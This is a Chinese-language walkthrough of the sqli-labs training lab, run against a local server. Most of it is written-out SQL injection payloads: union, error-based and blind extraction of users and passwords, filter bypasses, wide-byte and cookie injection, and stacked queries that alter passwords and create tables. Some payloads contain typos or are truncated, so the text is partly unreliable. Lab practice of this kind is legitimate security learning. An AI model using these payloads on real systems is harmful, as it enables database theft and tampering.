目录
Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入)
Less-2 GET-Error based- Intiger based(基于错误的GET整型注入)
Less-3 GET-Error based- Single quotes with twust string(基于错误的GET单引号变形字符型注入)
Less-4 GET-Error based- Double Quotse - String(基于错误的GET双引号字符型注入)
Less-5 GET- Double Injection - Single Quoter -String(双注入GET单引号字符型注入)
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
Less-7 Dump into outfile - String (导出文件GET字符型注入)
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
Less-21 Cookie Injection- Error Based- complex - string(Cookie注入-基于错误的复杂字符串 )
Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)
Less-25 Trick with OR & AND (过滤了or和and)
Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)
Less-26 Trick with comments and space (过滤了注释和空格的注入)
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于错误的,有括号的单引号字符型,过滤了union和select等的注入)
less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入
Less-29 基于WAF的一个错误
Less-30 Get-Blind Havaing with WAF
Less-31 Protection with WAF
Less-32 Bypass addslashes()
PHP preg_quote() 函数
语法
返回值
Less-33 Bypass addslashes()
Less-34 Bypass Add SLASHES
Less-35 why care for addslashes()
Less-36 Bypass MySQL Real Escape String
Less-37- MySQL_real_escape_string
Less-38 stacked Query
Less-39 stacked Query Intiger type
Less-40 stacked Query String type Blind
Less-41 stacked Query Intiger type blind
Less-42 - Stacked Query error based
less-43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
我们先用HackBar写入id=1
发现id可以显示,
然后在后面加入单引号查看是存在注入http://127.0.0.1/sqli/Less-1/?id=1'
发现结果出现报错,那么存在注入。
那么我们就可以用 order by语句逐步判断其表格有几列。最后我们发现表格有三列
http://127.0.0.1/sqli/Less-1/?id=1' order by 3--+;
然后用判断其第几列有回显,这里注意id后面的数字要采用一个不存在的数字,比如-1 -100都可以我采用的是-1 如下
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3--+;
然后发现2,3,列有回显就可以爆出数据库,列,以及用户和密码;
爆出数据库http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database()--+; 可以查看其数据库名字
知道数据库名字以后可以查看数据库
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables--+;
爆列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+;
爆出用户名和密码
ess-1/?id=-1'union select 1,2, group_concat(concat_ws('~',username,password)) from security.users--+;
第一关就算完成(其中查询数据库语句不会的可以自行百度)
以同样的方式测试用HackBar写入id=1出现用户名。
在其后面加上单引号出现报错,然后再加注释发现依然报错
http://127.0.0.1/sqli/Less-2/?id=1'--+
这里我们猜测其是整型(id=$id limit 0,1),然后不加单引号,重复猜测,发现可以注入,猜测正确。(也可以打开源码查看其id源码与第一关的不同之处),
只有这里不一样,其他操作等同于Less-1。
以同样的方式测试用HackBar写入id=1出现用户名。
加入单引号注释符号,发现依旧报错。
这里再去掉单引号依旧报错。
我们猜测其语句为id=('$id')。
在改为?id=1')后语句闭合。http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,3--+
那么剩下的操作等同于Less-1。这里不再重复操作。
以同样的方式测试用HackBar写入id=1出现用户名。
然后不断测试加单引号。单引号括号都无法将其闭合(这里可以直接查看源码判断其注入类型,但是对于未知的注入只能不断尝试)
我们猜测其源码语句为$id = ' " ' . $id . ' " ' ;
那么我们使用http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,3--+将其闭合
那么剩下的操作等同于Less-1。这里不再重复操作。
以同样的方式测试用HackBar测试
http://127.0.0.1/sqli/Less-5/?id=1' union select 1,2,3--+
发现无法利用回显,因为一直显示 you are in .......。
看到这里我们首先想到的类型就是布尔型盲注,报错注入,时间延迟型盲注。我们这里简单注入一下,因为工作量太大,只说一下思路。
对于这类注入,用sleep跑一次看浏览器的反应就可以知道。
http://127.0.0.1/sqli/Less-5/?id=1' and sleep(5) --+
可以看到浏览器有明显的延迟
然后我们就要判断数据库名称有几位
http://127.0.0.1/sqli/Less-5/?id=1' and lengrh(database())=8--+
我这边直接知道8位,以为直接写了,一般的话要一步一步判断位数。
然后我用burpsuite一位一位的爆破数据库名字这里演示一位
http://127.0.0.1/sqli/Less-5/?id=1' and left(select database(),1)='a'--+
用burpsuite爆破
最后显示爆破的s明显比其他的短,所以第一位为s,以此类推,判断出完整的数据库。
剩下的?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +
暴表:
?id=1' and if(substr(select table_ name from information_schema.tables where table_schema=database(),%d,1))
爆列:
?id=1' and if(substr(select columns_name from infomation_schema.columns where table_shema=database(),%d,1))
还可以进行xpath注入
因为无回显,所以尝试updatexml报错注入
updatexml函数可以百度了解
http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+(其中0x是十六进制数识别,后面的是吧符号转换为16进制数,hackbar里面有这个功能)
用这个直接可以将数据库爆出来
然后用语句将其其他内容爆出。因为这个无法显示全部的内容。我们采用substr函数拼接,
依次增加31爆出完整的数据。
ttp://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+
(此图盗用师傅)
以同样的方式测试用HackBar测试
我们发现用双引号包裹后可以闭合,其他操作如同Less-5;
以同样的方式测试用HackBar测试
我们发现?id=1'))可以闭合语句。
那么用语句测试其数据库有3列
?id=1') )order by 3--+;
在这里我们查看自己的数据库
这里第七关需要用my.ini进行修改后,然后才可以写入文件,这里有phpstudy的bug,具体怎么解决我也不是很会,可以百度解决。
以同样的方式测试用HackBar测试
我们发现?id=1'可以闭合语句。但是没有任何回显。
没有回显的情况下即可以尝试盲注
?id=1' and if(substr(database()),1,1)='s',sleep(5),sleep(1))--+
?id=1' and if(substr(database(),1,1)='q',sleep(5),sleep(1))--+
发现两者明显有差异,所以数据库名第一位是‘s’
同样的数据库长度也可以以此判断;
?id=1' and if(length(database())=8,sleep(5),sleep(1))--+
找出以后剩下的和Less-5。
我们依旧使用上面的思路进行注入
我们发现时间盲注依然可以
?id=1' and if(length(database())=8,sleep(5),sleep(1))--+
那么剩下的步骤又和以前一样了。
老样子,进行不断地尝试,我们发现
?id=1' and if(length(database())=8,sleep(5),sleep(1))--+这个是不可以闭合的,
依照刚开始几关的思路,我们不断的尝试发现将单引号改为双引号后可以闭合
?id=1" and if(length(database())=8,sleep(5),sleep(1))--+
那么剩下的又如同上一关一样操作就可以了。
我们发现页面发生变化需要输入用户名和密码
这里我们采用万能密码
admin' or 1)#
我们可以看到。这里是有回显得,那我们就试一试post(可以用hackbar也可以用burpsuite)
我们发现只有2可以,3就不可以显示
我们继续寻找可以回显的位置
发现1,2都可以回显然后接下来进行正常的查询工作,输入上面学过的语句便可以查询这里不再操作。
也可以用报错注入的方式
uname=-admin' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) #&passwd=admin&submit=Submit
这里只展示一部分,剩下的操作前面都有。
依旧按照原来的思路尝试闭合
尝试找到闭合之后,剩下的操作又和Less-11一样了
依旧按照原来的思路尝试闭合
发现admin')可以闭合
我们这边用burpsuite看到没有任何回显
这时就可以用上面的思路,我这边只演示爆错注入:
uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+
直接爆出数据库名称,剩下的东西也可以用报错注入爆出。就不在演示。
依旧按照原来的思路尝试闭合
发现admin"可以闭合
用养的用报错注入爆出数据库名称
Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
用之前思路一样,用万能密码123' or 1 #登录成功
发现是单引号闭合
用时间盲注admin’ and sleep(10) #
其他操作都一样,这不过这里是post型的时间盲注在post里面尝试
和上一关一样,万能密码登录后,尝试闭合,发现
admin"可以闭合,那么这里和之前的区别就只有闭合方式不一样,剩下的同上。
这里我们发现页面又发生了变化
这里不管怎么尝试都无法实现注入,我们打开源码发现
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
这里明显用户名被check_input函数包裹,check_input是一个检查函数,所以我们这次不能从这边下手注入,换成从password注入便可以成功。
打开页面,我们发现IP有回显,那么这里判断有可能是user-agent存在注入。
我们也可以打开源码查看,发现在uagen的地方直接进行截取和输出。
那么我们就可以尝试闭合,发现是单引号闭合。
然后尝试报错注入:
1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#
然后后面的东西同样可以使用报错注入的方法来实现。
开始我们发现这次和上次不一样的是这次refeter也有回显
查看源代码可以发现他在refeter和IP都进行了输出,我们就可以在refeter处进行报错注入
后面的也可以在这边进行报错注入。
登录以后我没发现这次的页面有很多东西
我们查看源码发现这里对各种信息进行了输出
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "
后面发现使用cookie进行数据库的查询,那么我们就从cookie入手。
单引号发生报错
闭合以后发现只是回显
我们又可以用 order by语句判断
最后发现3行,2,3可回显
查询如下:admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
思路就和以前一样了。
我们正常打开发现cookie发生变化,但是可以正常显示。猜测cookie进行了编码。
我们也可以打开源码看,可以看到cookie的部分进行了base64的加密。
这里分享一个转码网站:在线加密解密
这样的话就是获取库名
最后获得用户名密码,中间步骤不再一一截图,里面的语句和第一关一样
这是语句 -admin') union select 1,2,group_concat(username,0x3a,password) from users#=
这是base64转码 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9
我们尝试闭合,发现双引号可以闭合
这样之后就简单了,和上关一样
这是语句 -admin" union select 1,2,group_concat(username,0x3a,password) from users#=
这是base64码 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g
Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)
我们发现好像和第一关有一点相似,我们和上一步一步来。
我们发现可以用and,但是不能用联合查询语句。
打开php发现他把我们的# --+注释符号给过滤掉了。
一种方法是将联合查询语句放入id中
爆表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='
爆列
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'='
爆数据库和用户名也和之前的语句大同小异。
另一种是or "1"="1来闭合后面的双引号来达到我们的目的。
这里是个二次注入,我们可以先注册一个admin'#的账号,在修改密码处我们就可以用自己的密码修改admin的密码了,
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
先注册一个账号,admin'#
然后登录账号,在里面修改密码
我们发现我们的or语句被过滤了
因为过滤的只有or和and我们可以多写一个or和and就可以了
?id=1' oorrder by 1 aandnd '1'='1
同样的双写or和and就可以解决,其他的和之前一样
先尝试闭合,发现是单引号闭合
我们发现他将空格,or,and都过滤了,而且空格双写是没有用的,所以
我们可以使用url编码绕过
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
() 绕过
用这个方法尝试报错注入:
注入超过
我们尝试闭合发现')可以闭合
剩下的注入和上一关一样,仍然使用盲注就好
这一关多过滤了union和select 。
所以我们就用URL编码和大小写进行绕过,其他和上一关一样
这里过滤了union select ,所以我们采用大小写方式去绕过,双写是不行的
爆库名 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
爆表名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
爆列名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
爆用户名密码 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3
27a关将单引号改为双引号就可以了
这关在之前的技术上,加上了union和select的大小写也过滤了,都不能用了
我们直接用盲注,进行测试,一点一点试(其他的不赘述了)
过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过
和上一关一样
只是把第28关改成了双引号,,发现id=1")和id=1)"这样也行
学习之前可以了解一下HTTP参数污染
我们可以了解到
waf服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者
那么我们就可以传入两个id,把我们想注入的东西放入后一个id中实现注入
phpstuday的后端是Apahce,我们把参数跟在后面即可
?id=1&id=-1'union select 1,database(),3--+
剩下只需查询数据库即可
和19关一样只不过这里换成了双引号而已
?id=1&id=-1"union select 1,database(),3--+
与上面一致,只不过换成了“)来闭合、
?id=1&id=-1")union select 1,database(),3--+
这关学习的是绕过函数preg_quote
网上关于php preg_quote的解释
正在上传…重新上传取消PHP 正则表达式(PCRE)
preg_last_error 函数用于转义正则表达式字符。
string preg_quote ( string $str [, string $delimiter = NULL ] )
preg_quote() 需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。
正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -
参数说明:
$str: 输入字符串。
$delimiter: 如果指定了可选参数 delimiter,它也会被转义。这通常用于 转义 PCRE 函数使用的分隔符。 / 是最通用的分隔符。
返回转义后的字符串。
也可以自己百度
我们尝试闭合发现不论是单引号还是双引号都会被转义成\'
但是字体是双字节的,所以0xD6 0x5c被转为謀这个汉字,’之前的\就这样消失了。最后的%23为#,在sql中#是注释,所以后面的’就没用了 最终sql中projectid = ’10謀’在sql执行的时候,由于projectid为int类型字段,mysql会自动intval()处理一下
?id=-1%df%27%20%20union%20select%201,database(),3%23
这关和上一关一致,只不过这里换成了addslashe函数
网上关于addslashes()函数的介绍是:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
和上一关一样,这里换url编码思路进行
使用 “%df” 和反斜杠的 URL 编码 “%5C” 闭合,进行宽字节注入。
?id=1%df'
把后面的内容注释掉,网页返回正常信息,说明此处使用单引号闭合。
?id=1%df'--+
爆出用户名和密码
?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+
同样的32关也可以使用这个方法来进行。
这一关需要使用burpsuite抓包,抓包之后其他操作等同于33关
uname=admin%df' union select 1,2--+&passwd=admin&submit=Submit
正常思路进行注入,发现网页进行了转义
仍然使用 “%df” 和反斜杠的 URL 编码 “%5C” 闭合,进行宽字节注入。测试下面的所有参数都注入失败,
?id=1%df'--+
?id=1%df')--+
?id=1%df'))--+
?id=1%df"--+
?id=1%df")--+
?id=1%df"))--+
那应该就是数值型注入。
数值型注入不涉及编码,任何转义都没有用。所以直接注入不需要考虑。
和 Less 1 完全一样,爆出用户名和密码。
?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+
和前几关思路一样,在发现有转义之后
仍然使用 “%df” 和反斜杠的 URL 编码 “%5C” 闭合,进行宽字节注入。
?id=1%df'
?id=1%df'--+
和 Less 32 完全一样,爆出用户名和密码。
?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+
这一关改为了post注入,其他都和前几关操作一样
uname=admin%df'union select 1,2--+&passwd=admin&submit=Submit
这一关是堆叠注入
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
(关于堆叠注入可以自己百度了解)
?id=1';update users set password='123456' where username='Dumb';--+
这个意思是用堆叠注入修改dumb的密码
使用单引号闭合查询,发现密码修改成功
我们再尝试插入一个id
?id=1';insert into users(id,username,password)values(20,'keepb1ue','2020')--+
然后用单引号闭合查看是否插入成功 :
插入成功,堆叠注入在权限足够的情况下可以执行任意语句
这都是堆叠注入的用法
这里等同于上一关,这边我们再一次增加一个用户
?id=1';insert into users(id,username,password)values(22,'phzsb','1999')--+
查询
虽然没有报错。但是不影响我们判断闭合,以及语句的正确
尝试闭合,发现?id=1')可以闭合
其他操作和上一关一样,同样的堆叠注入
我们再次修改密码
?id=1');update users set password='666' where username='Dumb';--+
查看
修改成功
也是无报错,和上一关一样,这里就不再修改密码
这是基于24关卡新增post的堆叠,顾名思义在post上进行修改
我们利用该注入创造一个和users一样的数据库
login_user=admin&login_password=1';create table phzdsb like users#
可以在自己的数据库中查看
发现注入成功
也可以利用做post修改密码等操作
这一关只是改变了闭合方式,其他一样。
这里采用')的方式闭合。
同less-42关,只是关闭了报错
同less-43关,只是关闭了报错
我们试着按照他给出的规则输入,出现下面的页面
我们试着查看是否能注入,发现存在报错可以注入
既然他是表格排序,那么order by就不可以用了。
可以用desc/asc进行排序。
再试一试报错注入:
?sort=(extractvalue(1,concat(0x7e,(select user()),0x7e)))#
也可以试试时间注入之类
因为有明显的的延迟,所以时间注入也可以用
这一关只是改变了闭合方式
改成了sort=1'
同46关,只不过关闭了报错,无法使用报错注入
同47,关闭了报错,无法使用报错注入
这关使用堆叠注入即可成功
也就还是堆叠注入,和前一关没什么区别就是变成字符型了
?sort=1';create table less51 like users;--+
同50关,关闭了报错,采用报错注入以外的手段
同51关,关闭了报错,采用报错注入以外的手段
这关开始就变成了挑战了,正常的注入套路,有十次机会,用完就重置表名和数据。
爆字段列数